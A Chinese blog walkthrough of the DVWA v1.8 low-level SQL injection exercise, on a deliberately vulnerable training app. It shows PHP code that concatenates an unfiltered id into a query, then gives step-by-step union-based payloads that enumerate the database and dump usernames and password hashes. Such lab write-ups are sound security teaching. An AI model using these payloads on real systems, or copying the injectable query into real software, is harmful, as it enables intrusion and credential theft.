代码

<?php     

if(isset($_GET['Submit'])){ 

    // Retrieve data 

    $id = $_GET['id']; 

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); 

    $num = mysql_numrows($result); 

    $i = 0; 

    while ($i < $num) { 

        $first = mysql_result($result,$i,"first_name");
        $last = mysql_result($result,$i,"last_name"); 

        echo '<pre>';
        echo 'ID: ' . $id . '<br>名字: ' . $first . '<br>姓氏: ' . $last;
        echo '</pre>'; 

        $i++;
    }
}
?>

该代码没有对传入的id进行检测和过滤,且为字符型注入

提交1,搜索

提交单引号,报错

提交1 and 1=1,查询,返回正确

提交1 and 1=2,查询,返回正确

提交1'and '1' ='1,查询,返回正确

提交1'and '1' ='2,查询,无返回

判断为字符型注入

order by查询字段数

1' order by 1#,返回正确

1' order by 2#,返回正确

1' order by 3#,返回错误

有两个字段

爆字段

1' union select 1,2#

查询一下数据库版本和当前数据库名

1' union select version(),database()#

数据库版本为5.5.40,当前数据库名为dvwa

查询数据库中的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

有guestbook和users两个表

查询users这个表

1'  union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273#

注:table_name后面跟着是users的Hex值

对user和password的内容进行读取

-1' union select user,password from users#

DVWA平台v1.8-SQL注入(low级别)的更多相关文章

  1. DVWA sql注入low级别

    DVWA sql注入low级别 sql注入分类 数字型注入 SELECT first_name, last_name FROM users WHERE user_id = $id 字符型注入 SELE ...

  2. 【DVWA】【SQL Injection】SQL注入 Low Medium High Impossible

    1.初级篇 low.php 先看源码,取得的参数直接放到sql语句中执行 if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQ ...

  3. DVWA-全等级SQL注入(显注)

    前言: 首先是DVWA环境的搭建: 1.DVWA. 2.PHPSTUDY/WampServer,这里有一个坑,因为他是一体化的,PHP版本必须在5.4以上,否则显注不能打开.或者自己搭建LAMP环境. ...

  4. DVWA平台v1.9-Brute Force

    Low: 随便输一下用户名,密码,test 点击Login 显示用户名或密码错误 在owasp-zap查看数据包 点击,就会转到这 右键,点击Fuzz 点击Remove删除默认的 选定参数变量值,点击 ...

  5. DVWA平台v1.8-反射型XSS(low级别)

    源代码 <?php if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name' ...

  6. DVWA平台v1.9-Command Injection

    命令拼接: &:简单的拼接,第一条命令和第二条命令间没有什么制约关系 &&:第一条命令执行成功了,才会执行第二条命令 |:第一条命令的输出作为第二条命令的输入 ||:第一条命令 ...

  7. DAY5 DVWA之SQL注入演练(low)

    1.设置 把安全等级先调整为low,让自己获得点信心,免得一来就被打脸. 2.测试和分析页面的功能       这里有一个输入框 根据上面的提示,输入用户的id.然后我们输入之后,发现它返回了关于这个 ...

  8. DVWA之SQL注入演练(low)

    1.设置 把安全等级先调整为low,让自己获得点信心,免得一来就被打脸. 2.测试和分析页面的功能       这里有一个输入框 根据上面的提示,输入用户的id.然后我们输入之后,发现它返回了关于这个 ...

  9. sql注入搞事情(连载二)

    sql注入(连载二)安信华web弱点测试系统注入 好多人问我sql怎么学习,我一下也说不出来.我就在此做统一的解答: sql语句分为两种,不管怎么用还是怎么学习主要是要理解SQL语句的基本概念,框架, ...

随机推荐

  1. 如何退出telnet

    ctrl键+ENter键 然后输入 进入telnet 命令 quit

  2. 【poj2155】Matrix(二维树状数组区间更新+单点查询)

    Description Given an N*N matrix A, whose elements are either 0 or 1. A[i, j] means the number in the ...

  3. react: next-redux-saga

    instead of using the Provider component, you can use the withRedux higher order component to inject ...

  4. SQL中合并两个表的JOIN语句

    SQL里有四种JOIN语句用于根据某条件合并两个表: (INNER) JOIN: 交集 LEFT (OUTER) JOIN: 左表数据全包括,右表对应的如果没有就是NULL RIGHT (OUTER) ...

  5. I.MX6 recovery mode hacking

    /******************************************************************************** * I.MX6 recovery m ...

  6. Android预安装可卸载程序

    /***************************************************************************** * Android预安装可卸载程序 * 说 ...

  7. I.MX6 fbset 使用

    /****************************************************************************** * I.MX6 fbset 使用 * 说 ...

  8. Java进阶知识点8:高可扩展架构的利器 - 动态模块加载核心技术(ClassLoader、反射、依赖隔离)

    一.背景 功能模块化是实现系统能力高可扩展性的常见思路.而模块化又可分为静态模块化和动态模块化两类: 1. 静态模块化:指在编译期可以通过引入新的模块扩展系统能力.比如:通过maven/gradle引 ...

  9. [css小技巧]input去除边框问题

    border:none;是不够的 (1)在谷歌浏览器添加 outline: none;去除点击后产生的边框; (2)IE7下border: none;还会有边框存在,改用border: 0;即可,同时 ...

  10. [BZOJ5133][CodePlus2017年12月]白金元首与独舞

    bzoj luogu 题意 给你一个\(n*m\)的网格,每个位置上有一个箭头指向上或下或左或右.有些位置上还没有箭头,现在要求你在这些没有箭头的位置上填入箭头,使得从网格的任意一个位置开始,都可以沿 ...